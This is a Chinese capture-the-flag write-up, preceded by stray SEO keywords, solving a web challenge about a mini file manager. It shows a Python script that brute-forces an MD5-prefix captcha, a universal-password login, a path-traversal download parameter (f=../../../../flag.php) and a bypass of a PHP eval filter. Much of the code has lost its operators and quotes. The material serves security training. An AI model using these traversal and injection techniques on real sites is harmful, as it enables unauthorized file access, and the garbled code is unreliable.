东莞网站建设需要多少钱,网站权重划分,关键词排名顾问,在线定制平台练习平台地址 竞赛中心 题目描述 题目内容
你好#xff0c;单身狗#xff0c;这是一个迷你文件管理器#xff0c;你可以登录和下载文件#xff0c;甚至得到旗帜 点击登录 发现capture需要满足条件substr(md5(captcha), 0, 6)xxxxxx
编写python脚本破解验证码
import has…练习平台地址 竞赛中心 题目描述 题目内容
你好单身狗这是一个迷你文件管理器你可以登录和下载文件甚至得到旗帜 点击登录 发现capture需要满足条件substr(md5(captcha), 0, 6)xxxxxx
编写python脚本破解验证码
import hashlibdef getMd5(index):函数用于在指定整数范围内查找一个整数使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配若找到则返回该整数若没找到返回None。:param index: 用于匹配MD5值前6位的目标字符串:return: 满足条件的整数或者None表示没找到匹配的值for i in range(100000, 100000000):num itry:md5 hashlib.md5(str(num).encode(utf8)).hexdigest()if md5[0:6] index:return numexcept Exception as e:print(f计算MD5值时出现异常: {e})continuereturn Noneif __name__ __main__:result getMd5(xxxxxx)if result is None:print(没有找到满足条件的整数)else:print(找到的整数为:, result)
尝试万能密码登录
成功登录并返回了文件信息 下载文件后发现提示
flag在根目录下 抓取下载链接的包看能不能下载其他文件 发现f参数后跟着文件名尝试修改 f../../../../flag.php 根据平时利用小皮面板搭建网站的经验猜测 /var/www/html/flag.php /var/www/html/Challenges/flag.php 成功得到源码
?php
$f $_POST[flag];
$f str_replace(array(, $, *, #, :, \\, , , (, ), ., ), , $f);
if ((strlen($f) 13) || (false ! stripos($f, return))) {die(wowwwwwwwwwwwwwwwwwwwwwwwww);
}
try {eval(\$spaceone $f);
} catch (Exception $e) {return false;
}
if ($spaceone flag) {echo file_get_contents(helloctf.php);
}
代码分析 1.定义一个变量f通过POST传入 2.对变量f进行字符串 过滤 3.如果f的长度大于13或则f中有return就输出wowwwwwwwwww并退出 4.如果触发异常f的字符等于spaceone的会返回false 5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容 绕过思路 1.flagflag; 2.PHP字符串的特别表示方式传值时进行url编码 flag flag{0d960bc3-186b-4a10-a749-4eaef43ae6c6} 注意事项 POST传值两种方式 1.HackBar插件添加参数 2.Burp抓包修改请求方式后添加参数